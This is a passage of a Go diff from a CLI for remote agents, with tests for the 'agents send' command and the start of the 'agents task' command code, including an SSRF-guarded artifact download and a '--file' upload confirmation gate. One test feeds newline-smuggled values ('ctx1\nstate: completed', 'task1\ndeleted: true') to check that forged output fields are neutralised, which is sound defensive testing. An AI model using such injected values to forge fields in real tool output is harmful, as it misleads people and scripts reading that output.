if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
|
||||
// (key: value preview) instead of silently emitting JSON.
|
||||
func TestSendDryRunPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
|
||||
// runs context_id/task_id through kvValue (like every other pretty face), so a
|
||||
// value carrying a newline cannot forge an adjacent "key: value" field row.
|
||||
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
opts.ContextID = "ctx1\nstate: completed"
|
||||
opts.TaskID = "task1\ndeleted: true"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
// The raw newline must not survive into a forged adjacent row.
|
||||
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
|
||||
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
if strings.Contains(text, "task_id: task1\ndeleted: true") {
|
||||
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
// kvValue collapses the newline to a space, keeping the value on one line.
|
||||
if !strings.Contains(text, "context_id: ctx1 state: completed") {
|
||||
t.Errorf("context_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
if !strings.Contains(text, "task_id: task1 deleted: true") {
|
||||
t.Errorf("task_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendNoParamsRequired pins card v2: the scripted card declares no
|
||||
// parameters, so a send without any --param passes card validation — asserted
|
||||
// via --dry-run so no provider Send fires. A malformed --param is still a
|
||||
// validation error.
|
||||
func TestSendNoParamsRequired(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = nil
|
||||
opts.DryRun = true
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
|
||||
}
|
||||
|
||||
opts2 := sendTestOpts(t)
|
||||
opts2.Text = "分析销售"
|
||||
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
|
||||
opts2.DryRun = true
|
||||
err := agentSendRun(opts2)
|
||||
if err == nil {
|
||||
t.Fatal("malformed --param should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
|
||||
// any --param key is unknown → invalid_argument with a hint pointing at
|
||||
// `agents card`, raised before any provider Send (asserted via --dry-run with
|
||||
// no send hook installed).
|
||||
func TestSendUnknownParamRejected(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = []string{"app_id=app_1"}
|
||||
opts.DryRun = true
|
||||
err := agentSendRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("card did not declare app_id, --param app_id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agents card") {
|
||||
t.Fatalf("hint should point to agents card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRun pins that --dry-run prints a would_send preview and never
|
||||
// calls the provider (no send hook installed → a Send would panic).
|
||||
func TestSendDryRun(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be an object, got %T", env.Data)
|
||||
}
|
||||
if data["dry_run"] != true {
|
||||
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
|
||||
}
|
||||
would, ok := data["would_send"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
|
||||
}
|
||||
if would["text"] != "分析销售" {
|
||||
t.Errorf("would_send.text should echo the text, got %v", would["text"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendStartsTask pins the happy path: a single Send fires and returns the
|
||||
// submitted / working task in a success envelope immediately (no polling), with
|
||||
// a meta.next hint pointing at task get --watch.
|
||||
func TestSendStartsTask(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
var gotText string
|
||||
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
gotText = in.Text
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send should not error: %v", err)
|
||||
}
|
||||
if gotText != "分析销售" {
|
||||
t.Errorf("provider should receive the original text, got %q", gotText)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["task_id"] != "chat_1" {
|
||||
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
|
||||
}
|
||||
if data["state"] != string(iagents.StateWorking) {
|
||||
t.Errorf("state should be working, got %v", data["state"])
|
||||
}
|
||||
// meta.next should suggest polling / continuing.
|
||||
if !strings.Contains(string(out.Bytes()), `"next"`) {
|
||||
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendSendError surfaces a provider Send failure unchanged.
|
||||
func TestSendSendError(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "x"
|
||||
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentSendRun(opts); err == nil {
|
||||
t.Fatal("Send error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
|
||||
// text/task-id guards pass.
|
||||
func TestSendInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
|
||||
// presence of the send-specific flags.
|
||||
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentSend(nil, nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
|
||||
t.Errorf("agents send should be marked write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agents send missing ref should raise an args error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agents send with a single ref should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("agents send should have --%s flag", name)
|
||||
}
|
||||
}
|
||||
if cmd.Flags().Lookup("wait") != nil {
|
||||
t.Error("agents send --wait should be removed (polling goes through task get --watch)")
|
||||
}
|
||||
// The --file help must point out that files are sent off to the remote
|
||||
// provider (file-egress requirement).
|
||||
fileFlag := cmd.Flags().Lookup("file")
|
||||
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
|
||||
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
|
||||
// instead of the production path (construction-time seam).
|
||||
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
|
||||
called := false
|
||||
var captured *sendOptions
|
||||
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
|
||||
called = true
|
||||
captured = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
|
||||
cmd.SetContext(context.Background())
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("execute should not error: %v", err)
|
||||
}
|
||||
if !called {
|
||||
t.Fatal("runF should be called")
|
||||
}
|
||||
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
|
||||
t.Errorf("opts not populated correctly: %+v", captured)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
|
||||
// carrying --file to a provider that supports file upload (the scripted card has
|
||||
// file_input=true) requires --yes, so without it the command returns
|
||||
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
|
||||
// hook is a tripwire that would panic if the gate let the upload through.
|
||||
func TestSend_FileRequiresYes(t *testing.T) {
|
||||
mkSendFile(t, "local.txt")
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"} // no --yes
|
||||
|
||||
err := agentSendRun(opts)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
|
||||
// send reaches the provider, which receives the file path.
|
||||
func TestSend_FileWithYesProceeds(t *testing.T) {
|
||||
mkSendFile(t, "local.txt")
|
||||
opts := sendTestOpts(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
sent = true
|
||||
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
|
||||
t.Errorf("provider should receive the --file path, got %v", in.Files)
|
||||
}
|
||||
return &iagents.AgentTask{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: true}, nil
|
||||
}})
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.Yes = true
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --file --yes should proceed: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Error("provider Send should be reached after --yes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
|
||||
// gate (dry-run never uploads), so it needs no --yes and never reaches the
|
||||
// provider (unset send hook stays a tripwire).
|
||||
func TestSend_FileDryRunNotGated(t *testing.T) {
|
||||
mkSendFile(t, "local.txt")
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.DryRun = true // no --yes
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run --file should not be gated: %v", err)
|
||||
}
|
||||
}
|
||||
609
cmd/agents/task.go
Normal file
609
cmd/agents/task.go
Normal file
@@ -0,0 +1,609 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// maxArtifactBytes caps a single downloaded artifact to guard against an
|
||||
// untrusted host streaming an unbounded body onto local disk.
|
||||
const maxArtifactBytes = 256 << 20 // 256 MiB
|
||||
|
||||
// taskOptions holds all inputs for the `agents task get|list|cancel` leaves. A
|
||||
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
|
||||
// are wired once; each RunE reads only the fields its verb needs.
|
||||
type taskOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
TaskID string
|
||||
ContextID string
|
||||
ArtifactID string
|
||||
Params []string
|
||||
Output string
|
||||
Force bool
|
||||
Watch bool
|
||||
Timeout time.Duration
|
||||
As string
|
||||
Format string
|
||||
PageSize int
|
||||
PageToken string
|
||||
}
|
||||
|
||||
// resolveDownload is the DownloadArtifact seam: it resolves the provider
|
||||
// addressed by opts under the effective identity, runs the local scope
|
||||
// preflight, and fetches the artifact descriptor. Tests swap it to return
|
||||
// inline bytes without a Factory / network.
|
||||
var resolveDownload = func(opts *taskOptions) (*iagents.ArtifactData, error) {
|
||||
_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
|
||||
// unavailable_for_brand uniformly for every verb — even one it does not wire —
|
||||
// so it must precede the capability nil-gate below.
|
||||
if err := brandGate(opts.Factory, spec, opts.Ref); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Capability gate before any network: a spec that does not wire
|
||||
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
|
||||
if spec.DownloadArtifact.Handler == nil {
|
||||
return nil, capabilityError(opts.Ref, "artifact download", iagents.CapArtifactDownload)
|
||||
}
|
||||
// Per-capability brand gate: artifact_download's own brand scope.
|
||||
if err := opBrandGate(opts.Factory, spec.DownloadArtifact.Brands, opts.Ref, "artifact download"); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// --artifact switches this command to the artifact_download operation, so
|
||||
// params validate STRICTLY against its declaration (a task_get-only param
|
||||
// here gets the cross-operation teaching error), and rt.Params() carries
|
||||
// only artifact_download keys — the executing hook's own contract.
|
||||
vp, err := validateParams(opts.Params, spec.DownloadArtifact.Params, iagents.VerbArtifactDownload, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rt, err := runtimeFor(opts.Factory, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return spec.DownloadArtifact.Handler(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
|
||||
}
|
||||
|
||||
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
|
||||
// its bytes with a download-hardened client. Tests swap it to serve a loopback
|
||||
// httptest server (which the production SSRF guard would otherwise block).
|
||||
var artifactFetch = fetchArtifactURL
|
||||
|
||||
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
|
||||
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
|
||||
// tests swap it to pass the (interceptable) base client through unchanged so the
|
||||
// request/status/read/limit logic can run against an httpmock transport that the
|
||||
// hardened client's transport clone would otherwise discard.
|
||||
var hardenDownloadClient = func(base *http.Client) *http.Client {
|
||||
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
|
||||
}
|
||||
|
||||
// NewCmdAgentTask builds the `agents task` command group: query, list and cancel
|
||||
// tasks on a remote agent. It is a pure group with no RunE so an unknown
|
||||
// subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "task",
|
||||
Short: "Query / list / cancel a remote agent's tasks",
|
||||
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentTaskGet(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskList(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskCancel(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskGet builds `agents task get <ref> <task-id>`: fetch a single
|
||||
// task's state and artifacts. `--watch` polls until the task reaches a stop
|
||||
// condition and the terminal state drives the semantic exit code;
|
||||
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
|
||||
// the backward-compatible default). `--artifact <id>` downloads that artifact
|
||||
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
|
||||
// and fetched, an inline-bytes artifact is written straight to disk.
|
||||
// Risk=read.
|
||||
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <task-id>",
|
||||
Short: "Query a single task's state and artifacts",
|
||||
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskGetRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
|
||||
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s;0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
|
||||
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id(须配合 -o 指定落盘路径),不打印任务详情")
|
||||
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
|
||||
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
|
||||
addParamFlag(cmd, &opts.Params)
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskList builds `agents task list <ref>`: enumerate the agent's
|
||||
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
|
||||
// meta.count. Risk=read.
|
||||
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's tasks",
|
||||
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validatePageSize(opts.PageSize); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentTaskListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
|
||||
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
|
||||
addParamFlag(cmd, &opts.Params)
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskCancel builds `agents task cancel <ref> <task-id>`: cancel
|
||||
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
|
||||
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
|
||||
// command returns unsupported_capability without contacting the API.
|
||||
// Risk=write.
|
||||
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "cancel <agent_ref> <task-id>",
|
||||
Short: "Cancel (interrupt) a remote agent's task",
|
||||
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskCancelRun(opts)
|
||||
},
|
||||
}
|
||||
addParamFlag(cmd, &opts.Params)
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// addAsFlag registers the identity flag: the real API-identity flag when a
|
||||
// Factory is present, or a bare --as for construction-time unit tests (f nil).
|
||||
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
|
||||
return
|
||||
}
|
||||
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
|
||||
}
|
||||
|
||||
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
|
||||
// -o) runs first so it never touches the network and holds under a nil Factory.
|
||||
// With `--artifact` it downloads the named artifact to -o; otherwise it
|
||||
// fetches the task, optionally polling it to a stop condition under --watch, and
|
||||
// emits the task with the terminal state driving the semantic exit code.
|
||||
func agentTaskGetRun(opts *taskOptions) error {
|
||||
if opts.ArtifactID != "" {
|
||||
if opts.Output == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--artifact 需配合 -o/--output 指定落盘路径").
|
||||
WithParam("--output").
|
||||
WithHint("补充 -o <落盘路径> 后重发")
|
||||
}
|
||||
return downloadArtifact(opts)
|
||||
}
|
||||
|
||||
// --timeout only bounds the --watch poll; without --watch it is meaningless.
|
||||
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
|
||||
// so it never touches the network and holds under a nil Factory.
|
||||
if opts.Timeout > 0 && !opts.Watch {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--timeout 需与 --watch 一起使用").
|
||||
WithParam("--timeout").
|
||||
WithHint("加上 --watch(如 --watch --timeout 30s)做有界轮询;或去掉 --timeout 做单次查询")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Brand gates (offline): whole-agent visibility, then task_get's own scope
|
||||
// (GetTask is core/always wired, so this is normally a no-op).
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := opBrandGate(f, spec.GetTask.Brands, opts.Ref, "task get"); err != nil {
|
||||
return err
|
||||
}
|
||||
vp, err := validateParams(opts.Params, spec.GetTask.Params, iagents.VerbTaskGet, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
task, err := spec.GetTask.Handler(ctx, rt, opts.TaskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
|
||||
// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
|
||||
// error rather than dereferencing task.State below (the --watch branch would
|
||||
// otherwise panic; the sibling consumers all nil-guard).
|
||||
if task == nil {
|
||||
return errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"provider 未返回任务数据(响应无 data)")
|
||||
}
|
||||
|
||||
if opts.Watch && !task.State.ShouldStopPolling() {
|
||||
// A positive --timeout bounds the poll: pollToStop returns the most recent
|
||||
// task with a nil error when the deadline fires (a timeout is an
|
||||
// observation-window close, not a failure), so a long task degrades to
|
||||
// "current state + a fresh watch hint" instead of blocking forever. 0 =
|
||||
// unbounded (the backward-compatible default). pollToStop is unchanged.
|
||||
pollCtx := ctx
|
||||
if opts.Timeout > 0 {
|
||||
var cancel context.CancelFunc
|
||||
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
|
||||
defer cancel()
|
||||
}
|
||||
final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagents.AgentTask, error) {
|
||||
return spec.GetTask.Handler(c, rt, tid)
|
||||
}, opts.TaskID)
|
||||
if perr != nil {
|
||||
return perr
|
||||
}
|
||||
if final != nil {
|
||||
task = final
|
||||
}
|
||||
}
|
||||
|
||||
// Derive IsTerminal from State (single source of truth) before any consumer
|
||||
// — emitTask's output and semanticExitError below both read the flag.
|
||||
notice := normalizeTask(task)
|
||||
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbTaskGet), opts.Format, notice); err != nil {
|
||||
return err
|
||||
}
|
||||
// Under --watch a non-successful terminal state signals exit 1; a
|
||||
// plain get (or a non-terminal stop) is exit 0.
|
||||
if opts.Watch {
|
||||
return semanticExitError(task)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
|
||||
// (optionally filtered by --context-id) in the provider's most-recent-first
|
||||
// order, and emits {tasks:[...]} with meta.count through content-safety scanning
|
||||
// (the summaries carry untrusted agent text).
|
||||
func agentTaskListRun(opts *taskOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
|
||||
// unavailable_for_brand uniformly for every verb — even one it does not wire —
|
||||
// so it must precede the capability nil-gate below.
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE building the client: a spec that does not wire
|
||||
// ListTasks (card task_list=false) returns unsupported_capability offline.
|
||||
if spec.ListTasks.Handler == nil {
|
||||
